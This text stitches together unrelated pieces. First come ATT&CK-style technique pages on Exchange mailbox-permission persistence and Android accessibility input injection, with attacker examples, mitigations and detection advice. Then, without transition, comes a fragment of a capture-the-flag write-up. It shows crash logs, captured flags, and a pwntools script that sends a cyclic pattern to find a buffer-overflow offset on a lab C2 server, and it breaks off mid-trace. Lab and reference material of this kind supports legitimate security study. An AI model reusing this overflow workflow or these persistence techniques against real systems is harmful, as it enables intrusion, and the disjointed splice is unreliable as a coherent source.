Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Command-Line Interface Native Code Scheduled Task/Job Persistence Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Scheduled Task/Job Privilege Escalation Code Injection Device Administrator Permissions Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Hooking Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Proxy Through Victim Suppress Application Icon Uninstall Malicious Application User Evasion Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Call Control Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Call Control Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Call Control Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Enterprise - Account Manipulation - Exchange Email Delegate Permissions Account Manipulation: Exchange Email Delegate Permissions Other sub-techniques of Account Manipulation (4) ID Name T1098. Additional Cloud Credentials T1098. Exchange Email Delegate Permissions T1098. Add Office 365 Global Administrator Role T1098. SSH Authorized Keys Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.[1][2][3] Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.[4] This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.[5] ID: T1098. Sub-technique of: T ⓘ Tactic: Persistence ⓘ Platforms: Office 365, Windows ⓘ Permissions Required: Administrator Contributors: Jannie Li, Microsoft Threat Intelligence Center (MSTIC); Microsoft Detection and Response Team (DART); Mike Burns, Mandiant; Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) Version: 1. Created: 19 January Last Modified: 18 October Version Permalink Live Version Procedure Examples ID Name Description G APT APT28 has used a Powershell cmdlet to grant the ApplicationImpersonation role to a compromised account.[6] G APT APT29 added their own devices as allowed IDs for active sync using Set-CASMailbox, allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals.[7][8] G Magic Hound Magic Hound granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.[2] Mitigations ID Mitigation Description M Multi-factor Authentication Use multi-factor authentication for user and privileged accounts. M Privileged Account Management Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. Detection ID Data Source Data Component DS Application Log Application Log Content DS Group Group Modification DS User Account User Account Modification Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log
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versions_v10_techniques_T1098_002.txt
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Metadata API Group Policy Preferences Discovery Account Discovery Local Account Domain Account Email Account Cloud Account Application Window Discovery Browser Bookmark Discovery Cloud Infrastructure Discovery Cloud Service Dashboard Cloud Service Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Domain Groups Cloud Groups Local Groups Process Discovery Query Registry Remote System Discovery Software Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion System Checks User Activity Based Checks Time Based Evasion Lateral Movement Exploitation of Remote Services Internal Spearphishing Lateral Tool Transfer Remote Service Session Hijacking SSH Hijacking RDP Hijacking Remote Services Remote Desktop Protocol SMB/Windows Admin Shares Distributed Component Object Model SSH VNC Windows Remote Management Replication Through Removable Media Software Deployment Tools Taint Shared Content Use Alternate Authentication Material Pass the Hash Pass the Ticket Application Access Token Web Session Cookie Collection Archive Collected Data Archive via Utility Archive via Library Archive via Custom Method Audio Capture Automated Collection Clipboard Data Data from Cloud Storage Object Data from Configuration Repository SNMP (MIB Dump) Network Device Configuration Dump Data from Information Repositories Confluence Sharepoint Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Local Data Staging Remote Data Staging Email Collection Local Email Collection Remote Email Collection Email Forwarding Rule Input Capture Keylogging GUI Input Capture Web Portal Capture Credential API Hooking Man in the Browser Man-in-the-Middle LLMNR/NBT-NS Poisoning and SMB Relay ARP Cache Poisoning Screen Capture Video Capture Command and Control Application Layer Protocol Web Protocols File Transfer Protocols Mail Protocols DNS Communication Through Removable Media Data Encoding Standard Encoding Non-Standard Encoding Data Obfuscation Junk Data Steganography Protocol Impersonation Dynamic Resolution Domain Generation Algorithms Fast Flux DNS DNS Calculation Encrypted Channel Symmetric Cryptography Asymmetric Cryptography Fallback Channels Ingress Tool Transfer Multi-Stage Channels Non-Application Layer Protocol Non-Standard Port Protocol Tunneling Proxy Internal Proxy External Proxy Multi-hop Proxy Domain Fronting Remote Access Software Traffic Signaling Port Knocking Web Service Dead Drop Resolver Bidirectional Communication One-Way Communication Exfiltration Automated Exfiltration Traffic Duplication Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over C2 Channel Exfiltration Over Other Network Medium Exfiltration Over Bluetooth Exfiltration Over Physical Medium Exfiltration over USB Exfiltration Over Web Service Exfiltration to Code Repository Exfiltration to Cloud Storage Scheduled Transfer Transfer Data to Cloud Account Impact Account Access Removal Data Destruction Data Encrypted for Impact Data Manipulation Stored Data Manipulation Transmitted Data Manipulation Runtime Data Manipulation Defacement Internal Defacement External Defacement Disk Wipe Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service OS Exhaustion Flood Service Exhaustion Flood Application Exhaustion Flood Application or System Exploitation Firmware Corruption Inhibit System Recovery Network Denial of Service Direct Network Flood Reflection Amplification Resource Hijacking Service Stop System Shutdown/Reboot Mobile Initial Access Deliver Malicious App via Authorized App Store Deliver Malicious App via Other Means Drive-by Compromise Exploit via Charging Station or PC Exploit via Radio Interfaces Install Insecure or Malicious Configuration Lockscreen Bypass Masquerade as Legitimate Application Supply Chain Compromise Execution Broadcast Receivers Native Code Persistence Abuse Device Administrator Access to Prevent Removal Broadcast Receivers Code Injection Compromise Application Executable Foreground Persistence Modify Cached Executable Code Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Privilege Escalation Code Injection Exploit OS Vulnerability Exploit TEE Vulnerability Defense Evasion Application Discovery Code Injection Delete Device Data Device Lockout Disguise Root/Jailbreak Indicators Download New Code at Runtime Evade Analysis Environment Geofencing Input Injection Install Insecure or Malicious Configuration Masquerade as Legitimate Application Modify OS Kernel or Boot Partition Modify System Partition Modify Trusted Execution Environment Native Code Obfuscated Files or Information Suppress Application Icon Uninstall Malicious Application Credential Access Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Clipboard Data Capture SMS Messages Exploit TEE Vulnerability Input Capture Input Prompt Keychain Network Traffic Capture or Redirection URI Hijacking Discovery Application Discovery Evade Analysis Environment File and Directory Discovery Location Tracking Network Service Scanning Process Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery Lateral Movement Attack PC via USB Connection Exploit Enterprise Resources Collection Access Calendar Entries Access Call Log Access Contact List Access Notifications Access Sensitive Data in Device Logs Access Stored Application Data Capture Audio Capture Camera Capture Clipboard Data Capture SMS Messages Data from Local System Foreground Persistence Input Capture Location Tracking Network Information Discovery Network Traffic Capture or Redirection Screen Capture Command and Control Alternate Network Mediums Commonly Used Port Domain Generation Algorithms Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Uncommonly Used Port Web Service Exfiltration Alternate Network Mediums Commonly Used Port Data Encrypted Standard Application Layer Protocol Impact Carrier Billing Fraud Clipboard Modification Data Encrypted for Impact Delete Device Data Device Lockout Generate Fraudulent Advertising Revenue Input Injection Manipulate App Store Rankings or Ratings Modify System Partition SMS Control Network Effects Downgrade to Insecure Protocols Eavesdrop on Insecure Network Communication Exploit SS7 to Redirect Phone Calls/SMS Exploit SS7 to Track Device Location Jamming or Denial of Service Manipulate Device Communication Rogue Cellular Base Station Rogue Wi-Fi Access Points SIM Card Swap Remote Service Effects Obtain Device Cloud Backups Remotely Track Device Without Authorization Remotely Wipe Data Without Authorization - Home - Techniques - Mobile - Input Injection Input Injection A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs. Input Injection can be achieved using any of the following methods: - Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.[1] - Injecting global actions, such as GLOBAL_ACTION_BACK (programatically mimicking a physical back button press), to trigger actions on behalf of the user.[2] - Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.[3] ID: T Sub-techniques: No sub-techniques Tactic Type: Post-Adversary Device Access Tactics: Defense Evasion, Impact Platforms: Android Contributors: Lukáš Štefanko, ESET Version: 1. Created: 15 September Last Modified: 24 June Version Permalink Live Version Procedure Examples Name Description Cerberus Cerberus can inject input to grant itself additional permissions without user interaction and to prevent application removal.[4][5] DEFENSOR ID DEFENSOR ID can abuse the accessibility service to perform actions on behalf of the user, including launching attacker-specified applications to steal data.[6] Ginp Ginp can inject input to make itself the default SMS handler.[7] Gustuff Gustuff injects the global action GLOBAL_ACTION_BACK to mimic pressing the back button to close the application if a call to an open antivirus application is detected.[2] Mandrake Mandrake abuses the accessibility service to prevent removing administrator permissions, accessibility permissions, and to set itself as the default SMS handler.[8] Riltok Riltok injects input to set itself as the default SMS handler by clicking the appropriate places on the screen. It can also close or minimize targeted antivirus applications and the device security settings screen.[9] TrickMo TrickMo can inject input to set itself as the default SMS handler, and to automatically click through pop-ups without giving the user any time to react.[10] Zen Zen can simulate user clicks on ads and system prompts to create new Google accounts.[11] Mitigations Mitigation Description Application Vetting Applications that register an accessibility service should be scrutinized further for malicious behavior. Enterprise Policy An EMM/MDM can use the Android DevicePolicyManager.setPermittedAccessibilityServices method to set an explicit list of applications that are allowed to use Android's accessibility features. User Guidance Users should be warned against granting access to accessibility features, and to carefully scrutinize applications that request this dangerous permission. Detection Users can view applications that have registered accessibility services in the accessibility menu within the device settings. References - Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019. - Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019. - Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019. - Threat Fabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved June 26, 2020. - A. Hazum, B. Melnykov, C. Efrati, D. Golubenko, I. Wernik, L. Kuperman, O. Mana. (2020, April 29). First seen in the wild – Malware uses Corporate MDM as attack vector. Retrieved June 26, 2020. - L. Stefanko. (2020, May 22). Insidious Android malware gives up all malicious features but one to gain stealth. Retrieved June 26, 2020. - ThreatFabric. (2019, November). Ginp - A malware patchwork borrowing from Anubis. Retrieved April 8, 2020. - R. Gevers, M. Tivadar, R. Bleotu, A. M. Barbatei, et al.. (2020, May 14). Uprooting Mandrake: The Story of an Advanced Android Spyware Framework That Went Undetected for 4 Years. Retrieved July 15, 2020. - Tatyana Shishkova. (2019, June 25). Riltok mobile Trojan: A banker with global reach. Retrieved August 7, 2019. - P. Asinovsky. (2020, March 24). TrickBot Pushing a 2FA Bypass App to Bank Customers in Germany. Retrieved April 24, 2020. - Siewierski, L. (2019, January 11). PHA Family Highlights: Zen and
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versions_v8_techniques_T1516.txt
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not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError Back at the research server, it’s dumped a crash report and a flag: [+] received connection from 172.31.32. [*] Got new registration for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] received connection from 172.31.32. [*] Got new registration for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] received connection from 172.31.32. [*] Got new registration for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] received connection from 172.31.32. [*] Got new registration for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [+] received connection from 172.31.32. [+] received connection from 172.31.32. [*] Got new registration for Ep5aD11k1d27b9ro3EF [+] received connection from 172.31.32. [*] Got new registration for Ep5aD11k1d27b9ro3EF [+] received connection from 172.31.32. [*] Got new registration for Ep5aD11k1d27b9ro3EF [+] received connection from 172.31.32. [*] Got new registration for Ep5aD11k1d27b9ro3EF [+] received connection from 172.31.32. [*] Got keepalive for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-]Client not registered [+] received connection from 172.31.32. [*] Got keepalive for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-]Client not registered [+] received connection from 172.31.32. [*] Got keepalive for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-]Client not registered [+] received connection from 172.31.32. [*] Got keepalive for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [-]Client not registered [+] received connection from 172.31.32. [+] received connection from 172.31.32. [*] Got keepalive for Ep5aD11k1d27b9ro3EF [+] Valid registration! [*] Tasking command # [*] Tasking command # [+] received connection from 172.31.32. [*] Got keepalive for Ep5aD11k1d27b9ro3EF [+] Valid registration! [*] Tasking command # [*] Tasking command # [+] received connection from 172.31.32. [*] Got keepalive for Ep5aD11k1d27b9ro3EF [+] Valid registration! [*] Tasking command # ASAN:DEADLYSIGNAL ================================================================= ==2068==ERROR: AddressSanitizer: SEGV on unknown address 0x41414141 (pc 0x41414141 bp 0x41414141 sp 0xf5aa3320 T1) ASAN:DEADLYSIGNAL AddressSanitizer: nested bug in the same thread, aborting. buffer located @ 0xf7a8e12c overwritten covid{tOol33TtOqUiTbOi} [Flag] Programming2: covid{tOol33TtOqUiTbOi} [Flag] Exploit1: PUSH Exploit2 for Shell Now I’m tasked with exploiting this to get a shell on the C2 server: Find Offset The first thing I needed was the exact distance from the start of my input to the return address. I used pattern_create to generate a 600 byte buffer: root@kali# msf-pattern_create -l Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At I wrote a skeleton program to test this exploit, and included that buffer: #!/usr/bin/env python import sys from pwn import * from itertools import cycle def encode(s): return ''.join([chr(x^y) for x,y in zip(s,cycle(b'0202_NOCPRED'))]) def gen_cmd(s): return encode(s.encode()) + "\r\n\r\n" host = sys.argv[1] port = int(sys.argv[2]) s = remote(host,port) s.send(gen_cmd("ALIVE Ep5aD11k1d27b9ro3EF")) s.recvuntil('\r\n\r\n') s.send(gen_cmd('PUSH Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9')) s.interactive() I’ll start the research server again, and connect to the port it provides: root@kali# ./covid_pwn.py research.threatsims.com [+] Opening connection to research.threatsims.com on port 13098: Done [*] Switching to interactive mode [*] Got EOF while reading in interactive $ There’s a crash on the server: [+] received connection from 172.31.32. [*] Got keepalive for Ep5aD11k1d27b9ro3EF [+] Valid registration! [*] Tasking command # ASAN:DEADLYSIGNAL ================================================================= ==2077==ERROR: AddressSanitizer: SEGV on unknown address 0x41367241 (pc 0x41367241 bp 0x35724134 sp 0xf5aa3320 T1) ASAN:DEADLYSIGNAL AddressSanitizer: nested bug in the same thread, aborting. buffer located @ 0xf7a6712c overwritten I can take that pc address and find the offset of 528 bytes: root@kali# msf-pattern_offset -q 0x [*] Exact match at offset Rabbit Holes I tried a lot of things that didn’t work here, and I mis-understood some key information. What I missed was that this report was giving me the starting address of the input buffer on the actual c2 with the line buffer located @ 0xf7a6712c overwritten. Things I tried before pulling all that together: - Dropping shellcode into the address given and trying to jump to it on the research server. - Sometimes the crash would include a stack-trace: ==29809==ERROR: AddressSanitizer: stack-overflow on address 0xf5a7c320 (pc 0xf5a7c320 bp 0x90909090 sp 0xf5a7c320 T1) #0 0xf5a7c31f (<unknown module>) SUMMARY: AddressSanitizer: stack-overflow (<unknown module>) Thread T1 created by T0 here: #0 0x56624740 (/bin/server_asan+0x99740) #1 0x566726da (/bin/server_asan+0xe76da) #2 0xf752d636 